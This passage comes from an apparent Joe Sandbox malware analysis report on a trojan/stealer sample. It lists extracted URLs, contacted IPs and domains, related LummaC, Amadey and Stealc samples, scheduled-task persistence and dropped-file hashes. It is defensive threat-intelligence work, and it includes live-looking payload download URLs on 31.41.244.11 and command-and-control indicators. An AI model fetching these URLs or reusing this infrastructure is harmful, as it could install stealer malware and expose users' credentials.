https://stackoverflow.com/q/11564914/23354;	zudFSfy.exe, 00000009.00000002.2499731159.0000000005AF0000.00000004.08000000.00040000.00000000.sdmp, zudFSfy.exe, 00000009.00000002.2486574208.0000000003321000.00000004.00000800.00020000.00000000.sdmp, zudFSfy.exe, 00000009.00000002.2494620815.0000000004321000.00000004.00000800.00020000.00000000.sdmp, zudFSfy.exe, 00000009.00000002.2494620815.00000000043ED000.00000004.00000800.00020000.00000000.sdmp, kz8ZdyP.exe, 0000000D.00000002.2573081196.0000000002ABA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000013.00000002.2754514993.00000000057A5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/x3team/random.exei	skotes.exe, 00000006.00000002.2970891358.000000000079A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.fonts.com	zudFSfy.exe, 00000007.00000002.2486571810.0000000009412000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sandoll.co.kr	zudFSfy.exe, 00000007.00000002.2486571810.0000000009412000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sakkal.com	zudFSfy.exe, 00000007.00000002.2486571810.0000000009412000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.libertyreserve.com/beta/xml/accountname.aspx	kz8ZdyP.exe, 0000000B.00000002.2572094309.0000000002831000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/unique3/random.exeo	skotes.exe, 00000006.00000002.2970891358.000000000079A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000010.00000002.2686734514.0000000005905000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000013.00000002.2754514993.00000000057A5000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0	zudFSfy.exe, 00000007.00000002.2486571810.0000000009412000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com	zudFSfy.exe, 00000007.00000002.2486571810.0000000009412000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sectigo.com/CPS0	skotes.exe, 00000006.00000002.2970891358.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/lolz/random.exe	skotes.exe, 00000006.00000002.2970891358.000000000079A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://raw.githubusercontent.comd	e56fffc2ce.exe, 0000000E.00000002.2860539460.0000000002CAB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/1293295511/kz8ZdyP.exe	skotes.exe, 00000006.00000002.2970891358.000000000079A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	skotes.exe, 00000006.00000002.2970891358.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/mgravell/protobuf-net	zudFSfy.exe, 00000009.00000002.2499731159.0000000005AF0000.00000004.08000000.00040000.00000000.sdmp, zudFSfy.exe, 00000009.00000002.2486574208.0000000003321000.00000004.00000800.00020000.00000000.sdmp, zudFSfy.exe, 00000009.00000002.2494620815.0000000004321000.00000004.00000800.00020000.00000000.sdmp, zudFSfy.exe, 00000009.00000002.2494620815.00000000043ED000.00000004.00000800.00020000.00000000.sdmp, kz8ZdyP.exe, 0000000D.00000002.2573081196.0000000002ABA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://github.comd	e56fffc2ce.exe, 0000000E.00000002.2860539460.0000000002C69000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/iles/x3team/random.exe	skotes.exe, 00000006.00000002.2970891358.000000000079A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/burpin1/random.exe	skotes.exe, 00000006.00000002.2970891358.000000000079A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.libertyreserve.com/beta/xml/	zudFSfy.exe, 00000007.00000000.2406021638.00000000008F2000.00000002.00000001.01000000.00000009.sdmp, kz8ZdyP.exe, 0000000B.00000000.2495215505.00000000001D2000.00000002.00000001.01000000.00000011.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.mi	powershell.exe, 00000010.00000002.2697865269.0000000007357000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/cabarga.htmlN	zudFSfy.exe, 00000007.00000002.2486571810.0000000009412000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn	zudFSfy.exe, 00000007.00000002.2486571810.0000000009412000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y	skotes.exe, 00000006.00000002.2970891358.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://31.41.244.11/files/x3team/random.exe76-s	skotes.exe, 00000006.00000002.2970891358.000000000079A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ion=v4.5	powershell.exe, 00000010.00000002.2669231961.000000000302A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://stackoverflow.com/q/2152978/23354	zudFSfy.exe, 00000009.00000002.2499731159.0000000005AF0000.00000004.08000000.00040000.00000000.sdmp, zudFSfy.exe, 00000009.00000002.2494620815.0000000004321000.00000004.00000800.00020000.00000000.sdmp, zudFSfy.exe, 00000009.00000002.2494620815.00000000043ED000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
104.21.66.85	aspecteirs.lat	United States	13335	CLOUDFLARENETUS	true
104.21.64.80	grannyejh.lat	United States	13335	CLOUDFLARENETUS	false
20.233.83.145	github.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.199.111.133	raw.githubusercontent.com	Netherlands	54113	FASTLYUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1578014
Start date and time:	2024-12-19 06:07:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 46s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	54
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@79/57@5/7
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 54% Number of executed functions: 234 Number of non-executed functions: 82
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 4.245.163.56, 13.107.246.63, 184.28.90.27
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
00:09:01	API Interceptor	142181x Sleep call for process: skotes.exe modified
00:09:14	API Interceptor	1x Sleep call for process: zudFSfy.exe modified
00:09:22	API Interceptor	1x Sleep call for process: kz8ZdyP.exe modified
00:09:37	API Interceptor	24x Sleep call for process: powershell.exe modified
00:09:50	API Interceptor	67x Sleep call for process: e56fffc2ce.exe modified
00:10:00	API Interceptor	4x Sleep call for process: 1be411a3d2ff4d5e9f89420f2740d28f.exe modified
00:10:08	API Interceptor	1x Sleep call for process: 641d24797a.exe modified
05:08:05	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
05:10:06	Task Scheduler	Run new task: Intel_PTT_EK_Recertification path: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	random.exe.7.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	random.exe_Y.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
104.21.66.85	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse
104.21.64.80	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse
	rK0CtrtVrl.exe	Get hash	malicious	LummaC, Stealc	Browse
	CefJcYwgWs.exe	Get hash	malicious	LummaC, Stealc	Browse
	tdMnK5A1pe.exe	Get hash	malicious	LummaC	Browse
	3DI3mOIlxE.exe	Get hash	malicious	LummaC, Stealc	Browse
	Lw1k8a7gQu.exe	Get hash	malicious	LummaC	Browse
	random.exe.2.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	random.exe_Y.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
raw.githubusercontent.com	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.199.110.133
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.199.111.133
	pyld611114.exe	Get hash	malicious	Unknown	Browse	185.199.110.133
	Lu4421.exe	Get hash	malicious	Stealerium	Browse	185.199.111.133
	Lu4421.exe	Get hash	malicious	AsyncRAT, DcRat, Stealerium	Browse	185.199.108.133
	urS3jQ9qb5.jar	Get hash	malicious	Can Stealer	Browse	185.199.109.133
	urS3jQ9qb5.jar	Get hash	malicious	Can Stealer	Browse	185.199.110.133
	x0EMKX5G1g.exe	Get hash	malicious	PureCrypter, PureLog Stealer	Browse	185.199.108.133
	x0EMKX5G1g.exe	Get hash	malicious	PureCrypter, PureLog Stealer	Browse	185.199.110.133
	rbqHSouklL.exe	Get hash	malicious	Unknown	Browse	185.199.109.133
github.com	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	20.233.83.145
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	20.233.83.145
	main.exe	Get hash	malicious	Unknown	Browse	20.233.83.145
	pyld611114.exe	Get hash	malicious	Unknown	Browse	20.233.83.145
	Lu4421.exe	Get hash	malicious	AsyncRAT, DcRat, Stealerium	Browse	20.233.83.145
	x0EMKX5G1g.exe	Get hash	malicious	PureCrypter, PureLog Stealer	Browse	140.82.113.4
	x0EMKX5G1g.exe	Get hash	malicious	PureCrypter, PureLog Stealer	Browse	20.233.83.145
	ORDER-2412180Y6890PF57682456HTVC789378909759..jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	20.233.83.145
	IAK4Rn3bfO.jar	Get hash	malicious	Caesium Obfuscator, STRRAT	Browse	20.233.83.145
	ORDER-24171200967.XLS..js	Get hash	malicious	WSHRat, Caesium Obfuscator, STRRAT	Browse	140.82.121.3
aspecteirs.lat	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.66.85
aspecteirs.lat	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	104.21.66.85
grannyejh.lat	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	172.67.179.109
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	104.21.64.80
	rK0CtrtVrl.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.64.80
	NHEXQatKdE.exe	Get hash	malicious	LummaC	Browse	172.67.179.109
	CefJcYwgWs.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.64.80
	tdMnK5A1pe.exe	Get hash	malicious	LummaC	Browse	104.21.64.80
	3DI3mOIlxE.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.64.80
	pPizCGDvrx.exe	Get hash	malicious	LummaC	Browse	172.67.179.109
	D2Cw8gWOXj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.179.109
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	172.67.179.109

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.67.146
	1.elf	Get hash	malicious	Unknown	Browse	141.101.96.239
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	104.21.12.88
	https://d2kjcgrb1q4xt7.cloudfront.net/mULiCoBDj2Ug.exe	Get hash	malicious	Unknown	Browse	172.67.26.92
	https://www.bing.com/ck/a?!&&p=24da94b1cbc4e30be5abd9acb5737b3bdb775a56c39aac0141dd9c17c937dea1JmltdHM9MTczMzI3MDQwMA&ptn=3&ver=2&hsh=4&fclid=1bf8b81c-3b95-652f-24ec-ad573a81643b&u=a1aHR0cHM6Ly93d3cueXV4aW5na2V0YW5nLmNvbS9jb2xsZWN0aW9ucy90aHJvdy1ibGFua2V0cw#aHR0cHM6Ly9Uby5lZW1qaGl1bHoucnUvek83UkZORy8=	Get hash	malicious	Unknown	Browse	104.16.123.96
	https://www.bing.com/ck/a?!&&p=24da94b1cbc4e30be5abd9acb5737b3bdb775a56c39aac0141dd9c17c937dea1JmltdHM9MTczMzI3MDQwMA&ptn=3&ver=2&hsh=4&fclid=1bf8b81c-3b95-652f-24ec-ad573a81643b&u=a1aHR0cHM6Ly93d3cueXV4aW5na2V0YW5nLmNvbS9jb2xsZWN0aW9ucy90aHJvdy1ibGFua2V0cw#aHR0cHM6Ly9Uby5lZW1qaGl1bHoucnUvek83UkZORy8=	Get hash	malicious	Unknown	Browse	104.17.25.14
	doc55334.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	104.21.64.80
	vRecord__0064secs__warriorsheart.com.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	http://url8004.msimga.com/ls/click?upn=u001.53NcgwDAAzhzVFiwjkq594MAJWCPhEkQColfld-2B8UTVheZTNvS5XHSLoMFMDMKqB8ozH_SekqilKQ-2BHgXRJqfGhzOp5U5QgEa3j9iCU-2B-2FEmLhcgIb8j4-2F70z5BTR3SsHgk6fUAqo-2B4Hk5qOUpxx5ix21Dz7RacjGAlZQG7X9ZmY-2FMz6G3UEXqPfDFnluOo3vFEWoRVVv0USeiaKWrnmFmXbwzEtxKNaPSY-2FlO1e5ZdfV1YqhnRlOqnd6p2D4F2b2ZE6xQpyHLUek-2FYrpkq3KQVjrFQw-3D-3D	Get hash	malicious	Unknown	Browse	1.1.1.1
CLOUDFLARENETUS	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.67.146
	1.elf	Get hash	malicious	Unknown	Browse	141.101.96.239
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	104.21.12.88
	https://d2kjcgrb1q4xt7.cloudfront.net/mULiCoBDj2Ug.exe	Get hash	malicious	Unknown	Browse	172.67.26.92
	https://www.bing.com/ck/a?!&&p=24da94b1cbc4e30be5abd9acb5737b3bdb775a56c39aac0141dd9c17c937dea1JmltdHM9MTczMzI3MDQwMA&ptn=3&ver=2&hsh=4&fclid=1bf8b81c-3b95-652f-24ec-ad573a81643b&u=a1aHR0cHM6Ly93d3cueXV4aW5na2V0YW5nLmNvbS9jb2xsZWN0aW9ucy90aHJvdy1ibGFua2V0cw#aHR0cHM6Ly9Uby5lZW1qaGl1bHoucnUvek83UkZORy8=	Get hash	malicious	Unknown	Browse	104.16.123.96
	https://www.bing.com/ck/a?!&&p=24da94b1cbc4e30be5abd9acb5737b3bdb775a56c39aac0141dd9c17c937dea1JmltdHM9MTczMzI3MDQwMA&ptn=3&ver=2&hsh=4&fclid=1bf8b81c-3b95-652f-24ec-ad573a81643b&u=a1aHR0cHM6Ly93d3cueXV4aW5na2V0YW5nLmNvbS9jb2xsZWN0aW9ucy90aHJvdy1ibGFua2V0cw#aHR0cHM6Ly9Uby5lZW1qaGl1bHoucnUvek83UkZORy8=	Get hash	malicious	Unknown	Browse	104.17.25.14
	doc55334.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	104.21.64.80
	vRecord__0064secs__warriorsheart.com.html	Get hash	malicious	Unknown	Browse	104.17.25.14
	http://url8004.msimga.com/ls/click?upn=u001.53NcgwDAAzhzVFiwjkq594MAJWCPhEkQColfld-2B8UTVheZTNvS5XHSLoMFMDMKqB8ozH_SekqilKQ-2BHgXRJqfGhzOp5U5QgEa3j9iCU-2B-2FEmLhcgIb8j4-2F70z5BTR3SsHgk6fUAqo-2B4Hk5qOUpxx5ix21Dz7RacjGAlZQG7X9ZmY-2FMz6G3UEXqPfDFnluOo3vFEWoRVVv0USeiaKWrnmFmXbwzEtxKNaPSY-2FlO1e5ZdfV1YqhnRlOqnd6p2D4F2b2ZE6xQpyHLUek-2FYrpkq3KQVjrFQw-3D-3D	Get hash	malicious	Unknown	Browse	1.1.1.1
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	185.215.113.43
	rK0CtrtVrl.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	CefJcYwgWs.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	3DI3mOIlxE.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	D2Cw8gWOXj.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, RHADAMANTHYS, Stealc	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	Rapporteer inbreuk op auteursrechten.lnk.d.lnk	Get hash	malicious	Unknown	Browse	20.233.83.145 185.199.111.133
	File di reclamo per violazione del copyright File di reclamo per violazione del copyright.lnk.d.lnk	Get hash	malicious	Unknown	Browse	20.233.83.145 185.199.111.133
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	20.233.83.145 185.199.111.133
	alyemenione.lnk	Get hash	malicious	Havoc, Quasar	Browse	20.233.83.145 185.199.111.133
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	20.233.83.145 185.199.111.133
	Payment_Failure_Notice_Office365_sdf_[13019].html	Get hash	malicious	HTMLPhisher	Browse	20.233.83.145 185.199.111.133
	R4qP4YM0QX.lnk	Get hash	malicious	Unknown	Browse	20.233.83.145 185.199.111.133
	List of required items and services.pdf.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	20.233.83.145 185.199.111.133
	g8ix97hz.vbs	Get hash	malicious	GuLoader, RHADAMANTHYS	Browse	20.233.83.145 185.199.111.133
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse	104.21.66.85 104.21.64.80
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse	104.21.66.85 104.21.64.80
	https://d2kjcgrb1q4xt7.cloudfront.net/mULiCoBDj2Ug.exe	Get hash	malicious	Unknown	Browse	104.21.66.85 104.21.64.80
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse	104.21.66.85 104.21.64.80
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse	104.21.66.85 104.21.64.80
	rK0CtrtVrl.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.66.85 104.21.64.80
	NHEXQatKdE.exe	Get hash	malicious	LummaC	Browse	104.21.66.85 104.21.64.80
	CefJcYwgWs.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.66.85 104.21.64.80
	tdMnK5A1pe.exe	Get hash	malicious	LummaC	Browse	104.21.66.85 104.21.64.80
	3DI3mOIlxE.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.66.85 104.21.64.80

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, PureLog Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	random.exe_Y.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RHADAMANTHYS, Xmrig	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\e56fffc2ce.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe
File Type:	CSV text
Category:	modified
Size (bytes):	1058
Entropy (8bit):	5.356262093008712
Encrypted:	false
SSDEEP:	24:ML9E4KlKDE4KhKiKhwE4Ty1KIE4oKNzKoZAE4KzeR:MxHKlYHKh3owH8tHo6hAHKzeR
MD5:	B2EFBF032531DD2913F648E75696B0FD
SHA1:	3F1AC93E4C10AE6D48E6CE1745D23696FD6554F6
SHA-256:	4E02B680F9DAB8F04F2443984B5305541F73B52A612129FCD8CC0C520C831E4B
SHA-512:	79430DB7C12536BDC06F21D130026A72F97BB03994CE2F718F82BB9ACDFFCA926F1292100B58B0C788BDDF739E87965B8D46C8F003CF5087F75BEFDC406295BC
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Net.Http, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Net.Http\bb5812ab3cec92427da8c5c696e5f731\System.Net.Http.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.X

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\kz8ZdyP.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\zudFSfy.exe.log

